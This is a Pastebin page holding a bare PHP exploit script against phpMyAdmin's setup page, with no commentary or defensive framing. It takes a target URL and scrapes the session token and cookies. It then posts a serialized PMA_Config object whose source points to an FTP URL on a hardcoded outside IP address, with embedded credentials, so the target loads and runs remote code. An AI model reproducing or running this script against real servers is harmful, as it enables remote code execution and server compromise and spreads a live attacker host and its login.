Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // by M
- error_reporting(1);
- ini_set("max_execution_time",0);
- ini_set("default_socket_timeout",5);
- $pma_setup_url = $argv[1];
- $ftp_code = 'ftp://robert:robert@213.131.252.244/link.txt';
- $ftp_code.= "$argv[2]";
- function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = '') {
- $return = '';
- $feof_count = 0;
- $parsed_url = parse_url($url);
- $site = $parsed_url['host'];
- $path = $parsed_url['path'];
- $query = $parsed_url['query'];
- ($method == 'GET' && !empty($data)) ? $path .= '?'.$data : '';
- ($method == 'POST' && !empty($query)) ? $path .= '?'.$query : '';
- $fp = fsockopen($site, 80, $errno, $errstr, 30);
- ($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";
- $out .= "Host: $site\r\n";
- $out .= "Content-type: application/x-www-form-urlencoded\r\n";
- $out .= "Connection: Close\r\n";
- $out .= "User-Agent: $ua_string\r\n";
- $out .= "Referer: $referer_string\r\n";
- $out .= "Cookie: $cookie_string\r\n";
- ($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";
- ($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out);
- while (!feof($fp)) {
- if($feof_count >=200)
- break;
- $return .= fread($fp, 4800);
- ++$feof_count;
- }
- fclose($fp);
- return $return;
- }
- $token_page = send_data('GET',$pma_setup_url,'',$pma_setup_url,'','Opera');
- preg_match('@name="token" value="([a-f0-9]{32})"@is',$token_page,$token_array);
- $token = $token_array[1];
- preg_match_all('@Set-Cookie: ([^\r\n;]+)@is',$token_page,$cookie_array);
- $cookie_array = $cookie_array[1];
- $cookie_array = implode("; ",$cookie_array);
- $html =
- send_data('POST',$pma_setup_url,'action=lay_navigation&eoltype=unix&token='.$token.'&configuration='.urlencode('a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:
- '.strlen($ftp_code).':"'.$ftp_code.'";}}'),$pma_setup_url,$cookie_array,'Opera');
- $temp=explode("my_delim",$html);die($temp[1]);
- ?>
Add Comment
Please, Sign In to add comment